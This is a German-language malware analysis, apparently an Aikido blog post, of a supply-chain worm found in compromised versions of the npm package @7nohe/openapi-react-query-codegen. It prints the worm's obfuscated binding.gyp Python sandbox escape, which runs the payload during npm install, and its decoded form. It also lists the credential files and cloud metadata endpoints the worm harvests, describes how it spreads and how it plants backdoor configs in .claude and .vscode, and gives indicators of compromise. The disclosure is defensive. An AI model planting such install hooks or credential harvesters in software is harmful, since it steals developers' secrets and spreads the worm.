Aikido

Beliebter Code-Generator für TanStack Query von einem Supply-Chain-Wurm befallen

Verfasst von
Ilyas Makari

Es ist erst einen Tag her, seit wir die Nachricht von TeamPCP-Mitglieder werden in Australien festgenommen, und wir haben nun eine neue, TeamPCP-ähnliche Malware entdeckt, die 10 Versionen eines beliebten npm-Pakets namens @7nohe/openapi-react-query-codegen (+150.000 Downloads pro Woche). Diese Versionen wurden alle innerhalb von 20 Minuten auf npm veröffentlicht. Das betreffende Paket generiert typsichere TanStack-Query-Hooks direkt aus einem OpenAPI-Schema und erspart Entwicklern so das manuelle Schreiben von Boilerplate-Code.

Die Malware nennt sich selbst „Trinitite: Gesponsert von Preview 2 Effects“. Trinitit ist das glasartige Material, das nach einer Atomexplosion auf dem Wüstenboden zurückbleibt. Frühere Versionen der Nutzlast verwiesen auf ein Skript mit dem wörtlichen Namen is_it_this_simple.js, was die Einstellung ziemlich gut auf den Punkt bringt.

Ob es sich um einen Nachahmer, ein ehemaliges Mitglied, das den Verhaftungen entgangen ist, oder um einen völlig anderen Angreifer handelt, bleibt unklar. Wer auch immer hinter diesem Angriff steckt, teilt eindeutig den Hang zum Theatralischen mit TeamPCP.

Sowohl das npm-Paket als auch das dazugehörige GitHub-Repository scheinen kompromittiert worden zu sein. Der Angreifer verschaffte sich Zugang, indem er eine Sicherheitslücke in einem der GitHub-Actions-Workflows des Projekts ausnutzte. Daher verfügen alle Releases über gültige Herkunftsbescheinigungen. Dabei handelt es sich um kryptografische Zertifikate, die belegen, dass das Paket vom offiziellen GitHub-Actions-Workflow erstellt wurde. Ist jedoch der Workflow selbst kompromittiert, verliert dieses Zertifikat seine Aussagekraft als Vertrauenssignal.

Die „binding.gyp“-Sandbox escape

Der Hook für die erste Ausführung lautet binding.gyp, eine Datei, die normalerweise zur Konfiguration der Kompilierung nativer Node.js-Add-ons verwendet wird. Ich war etwas überrascht, dass dieser spezielle Trick hier zum Einsatz kam, da ich hatte bereits Anfang dieses Jahres über diese Art von Sicherheitslücke berichtet. Die Technik scheint sich durchzusetzen.

Wann npm install verarbeitet ein Paket, das ein binding.gyp, es ruft auf node-gyp um das native Modul zu kompilieren. node-gyp wertet die conditions Feld in der Datei mithilfe von Python, was bedeutet, dass dort beliebige Python-Ausdrücke eingefügt werden können, die dann während der Installation ausgeführt werden, auch ohne jegliche preinstall Skript deklariert in package.json.

Der binding.gyp In diesem Paket sieht das so aus:

{
  "variables": {
    "var": "Frot",
  },
  "conditions":[
     ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type":"\x6e\x6f\x6e\x65",
      "sources": ["dog.c"],
    }
  ]
}

Der Bedingungsausdruck ist ein Python-Sandbox- escape , der die catch_warnings Klasse, auf die man zugreift, indem man die Klassenhierarchie von (). Nach der Dekodierung ergeben die Unicode- und Hex-Escape-Zeichen Folgendes:

[c für c in ().__class__.__base__.__subclasses__() wenn c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

Es ermittelt die catch_warnings Klasse über den internen Unterklassenbaum von Python und nutzt diesen, um auf __builtins__, Importe os, und ruft os.system() um die Haupt-Payload mit Node auszuführen. Die type Das Feld ist hexadezimal kodiert keine Es wird also kein tatsächlicher nativer Build versucht, und der Zielname Frot ist sinnlos. Die gesamte Datei dient ausschließlich dazu, einen Shell-Befehl auszuführen.

Es ist anzumerken, dass nicht alle manipulierten Versionen diesen Trick anwenden. Die beiden Vorabversionen verwenden eine einfache preinstall stattdessen das Skript. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab führt aus Node.js direkt aufzurufen. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be Downloads von Bun über wget weitergeleitet an bash und wird dann ausgeführt is_it_this_simple.js.

Allerdings gingen nachfolgende kompromittierte Versionen noch einen Schritt weiter und fügten beide Vektoren gleichzeitig hinzu, wobei sie die binding.gyp Trick mit einer expliziten "preinstall": "node 3FWCvzduYZg.js" ein Skript, nur zur Sicherheit.

Verschleierung und Umgehung von Sandboxen

3FWCvzduYZg.js ist eine 5,4 MB große Einzeiler-Datei, die sich im Stammverzeichnis des Pakets befindet. Die Datei nutzt vier Verschlüsselungsebenen. Die äußerste Ebene ist ein Ganzzahl-Array mit 1,6 Millionen Elementen, das mit dem Schlüssel 29 XOR-verknüpft wurde. Nach der Entschlüsselung ergibt sich ein Skript, das die Bun-Laufzeitumgebung im Hintergrund herunterlädt (als trinnyyyy-XXXXX (im System-Temp-Verzeichnis) und nutzt diese, um die eigentliche Nutzlast auszuführen, die darin mit AES-128-GCM verschlüsselt ist. Die innere Nutzlast besteht aus weiteren 800 KB verschleiertem JavaScript, das zusätzlich zu den Standardtransformationen von obfuscator.io mit einer benutzerdefinierten Shuffled-Table-Verschlüsselung verschleiert wurde. Vollständig entschlüsselt und entschleiert enthält sie einen Credential-Harvester, einen Wurm und einen zerstörerischen Befehl.

Bevor die Payload irgendetwas unternimmt, prüft sie mehrere Bedingungen und beendet die Ausführung stillschweigend, wenn eine davon zutrifft:

  • Die System-Lokalisierung ist Russisch (Prüfung Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, SPRACHE, LANG)
  • CrowdStrike, die Verzeichnisse „ SentinelOne “ oder „CarbonBlack“ vorhanden sind
  • Das Arbeitsverzeichnis beginnt mit /tmp/npm-safe/ oder /opt/hscan-supplychain-dynamic/
  • Umgebungsvariablen enthalten bekannte Präfixe für gefälschte Anmeldedaten, die von Sicherheitsscannern verwendet werden (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-fake, ghp_decoyGitHubToken)
  • Der GITHUB_REPOSITORY_OWNER ist eines von mehreren bekannten Konten von Sicherheitsforschern (Maßnahmen-Sicherheit-Demo, h0x0er, varunsh-coder, rohan-stepsecurity)
  • Das StepSecurity-Tool „harden-runner“ ist aktiv

Was es stiehlt

Die Payload zielt auf eine breite Palette von Anmeldedaten ab, die sich über Cloud-Plattformen, Entwicklertools und lokale Dateien erstrecken.

GitHub-Tokens

Sucht nach klassischen PATs (gh[op]_...) und feinkörnige Token (github_pat_...) in Umgebungsvariablen und lokalen Dateien. Auf GitHub-Actions-Runner fordert es zudem ein OIDC-Token über ACTIONS_ID_TOKEN_REQUEST_TOKEN und ACTIONS_ID_TOKEN_REQUEST_URL.

npm-, PyPI- und RubyGems-Token

Liest ~/.npmrc und sucht nach weiteren .npmrc Dateien. Extrahiert Inhaber-Token und überprüft deren Gültigkeit anhand von registry.npmjs[.]org/-/whoami. Zielt auf PyPI-Token ab (pypi-AgEIcHlwaS5vcmcCJ...) und RubyGems-Token (rubygems_...) nach derselben Methode.

AWS-Anmeldeinformationen

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, sowie zehn zugehörige Umgebungsvariablen
  • ~/.aws/credentials und ~/.aws/config
  • EC2-Instanz-Metadatendienst unter 169[.]254[.]169[.]254, zunächst IMDSv2 ausprobieren
  • ECS-Endpunkt für container unter 169[.]254[.]170[.]2
  • Anrufe sts:GetCallerIdentity um die Anmeldedaten vor der Exfiltration zu überprüfen

Azure-Anmeldedaten

  • AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, sowie die Datei mit den Verbund-Token
  • Endpunkt für verwaltete Identitäten in Azure IMDS
  • Greift nach der Authentifizierung auf Azure Key Vault, Azure Resource Manager und die Microsoft Graph-API zu

GCP-Anmeldedaten

  • GOOGLE_APPLICATION_CREDENTIALS JSON-Datei für das Dienstkonto
  • GCP-Metadatenserver unter metadata[.]google[.]internal
  • Google Secret Manager, sobald ein Token erhalten wurde

HashiCorp Vault

  • VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN
  • Zählt die „ secrets “ über /api/v1/system/me, /secrets, /api/v1/namespaces

Kubernetes

  • Token des Dienstkontos unter /var/run/secrets/kubernetes.io/serviceaccount/token
  • KUBECONFIG und ~/.kube/config
  • /etc/rancher/k3s/k3s.yaml

Dateisystem-Scan (über 150 Glob-Muster)

  • Alle privaten SSH-Schlüssel: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id*
  • ~/.docker/config.json, /root/.docker/config.json
  • .env, .env.local, .env.production
  • ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials
  • ~/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json
  • ~/.bash_history, ~/.zsh_history, ~/.node_repl_history
  • Krypto-Wallets: ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus
  • Daten zu Messaging-Sitzungen: Signal, Telegram Desktop, Discord, Slack, Element
  • VPN-Konfigurationen: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
  • Claude AI: ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json
  • JFrog Artifactory-Domänen und -Token

Exfiltration

Sobald die Anmeldedaten gesammelt sind, benötigt die Payload ein GitHub-Repository, in das sie hochgeladen werden können. Wie bei früheren Miasma-ähnlichen Angriffen durchsucht sie zunächst den öffentlichen Commit-Verlauf von GitHub nach Commits, deren Meldung mit folgendem Text übereinstimmt: "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Es entschlüsselt das eingebettete Token und nutzt dieses Konto, um das Exfil-Repository anzulegen. Das bedeutet, dass gestohlene Daten eines Opfers in einem Repository landen, das einem anderen Nutzer gehört.

Der Name des Repositorys wird durch die Kombination von zwei zufällig ausgewählten Touhou-Projekt Charakternamen mit einer Zufallszahl, zum Beispiel cirno-marisa-74291 oder reimu-kogasa-12048. Die Repository-Beschreibung lautet „Trinitite: Gesponsert von Preview 2 Effects“, und so lassen sich Exfiltrations-Repos in der Praxis identifizieren:

Die gestohlenen Anmeldedaten werden als verschlüsselte JSON-Dateien mit den Namen doubletrinnys-{Zähler}-{Zeitstempel}.json innerhalb eines results/ Verzeichnis. Jede Datei enthält zwei Felder: Umschlag, das verschlüsselte Anmeldeinformationen-Bundle und Schlüssel, wobei der Verschlüsselungsschlüssel selbst mit dem öffentlichen Schlüssel des Angreifers RSA verschlüsselt wurde. Nur der Angreifer, der über den entsprechenden privaten Schlüssel verfügt, kann den Inhalt entschlüsseln. Die Daten liegen offen in öffentlichen GitHub-Repositorys, sind für alle anderen jedoch unlesbar. Interessanterweise lauten die meisten Commit-Meldungen einfach „Miau, miau, miau“.

Wurm-Propagation

Trinitite nutzt gestohlene Tokens, um sich auf andere Pakete und Repositorys auszubreiten.

npm, PyPI und RubyGems

Mit einem gestohlenen npm-Token ruft die Payload Folgendes auf: registry.npmjs[.]org/-/npm/v1/tokens um das Veröffentlichungstoken mit der höchsten Berechtigungsstufe zu finden, und fragt dann ab /v1/search?text=maintainer:{user} um alle Pakete aufzulisten, für die der Betreuer verantwortlich ist. Es ruft für jedes Paket den aktuellen Tarball ab und fügt einen neuen binding.gyp die dieselbe Python-Sandbox enthält escape, fügt eine Kopie von 3FWCvzduYZg.js, und veröffentlicht eine neue Version. Das gleiche Muster gilt für PyPI (über upload.pypi[.]org/legacy/) und RubyGems (über rubygems[.]org/api/v1/gems). Alle Veröffentlichungsanfragen verwenden {tls: {rejectUnauthorized: false}} um das Zertifikat-Pinning zu umgehen.

Manipulation von GitHub-Repositorys

Mit einem gestohlenen GitHub-Token listet die Payload alle zugänglichen Repositorys und Zweige auf, wobei Zweige übersprungen werden, deren Name mit Pressemitteilung/, dependabot/, renovieren/, und Copilot/. Für jeden Zweig werden die folgenden Dateien festgeschrieben:

  • .vscode/tasks.json mit einer Task-Runner-Konfiguration, die eine Hintertür enthält
  • .claude/settings.json mit einem Sitzungsstart Hook, der ausgeführt wird setup.mjs Jedes Mal, wenn ein Entwickler das Projekt in Claude Code öffnet
  • .claude/setup.mjs mit der sekundären Nutzlast
  • .vscode/setup.mjs das dasselbe enthält
  • .github/workflows/codeql.yml, ein gefälschter Sicherheits-Workflow von „ CodeQL “, der gleichzeitig als Hintertür dient
  • .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js

Jeder Commit wird wie folgt verfasst: GitHub-Actions mit der Meldung "Aufgabe: Abhängigkeiten aktualisieren" und ein skip-checks:true Anhänger, um die vorgeschriebenen Statusprüfungen zu umgehen.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Indicators of Compromise (IOCs)

‍Paketversionen

  • @7nohe/openapi-react-query-codegen@0.5.4
  • @7nohe/openapi-react-query-codegen@0.5.5
  • @7nohe/openapi-react-query-codegen@1.6.3
  • @7nohe/openapi-react-query-codegen@1.6.4
  • @7nohe/openapi-react-query-codegen@2.2.1
  • @7nohe/openapi-react-query-codegen@2.2.2
  • @7nohe/openapi-react-query-codegen@3.0.3
  • @7nohe/openapi-react-query-codegen@3.0.4
  • @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
  • @7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab

Dateien

  • 3FWCvzduYZg.js im Paketstammverzeichnis vorhanden
    • SHA256: 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
    • SHA256: b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
    • SHA256: 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
    • SHA256: 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
    • SHA256: b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
    • SHA256: e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
    • SHA256: b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
    • SHA256: 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
  • Temporäre Verzeichnisse mit dem Namen trinnyyyy- gefolgt von 6 zufälligen alphanumerischen Zeichen (z. B. trinnyyyy-a3f9k2) im Systemordner „Temp“
Teilen:

https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.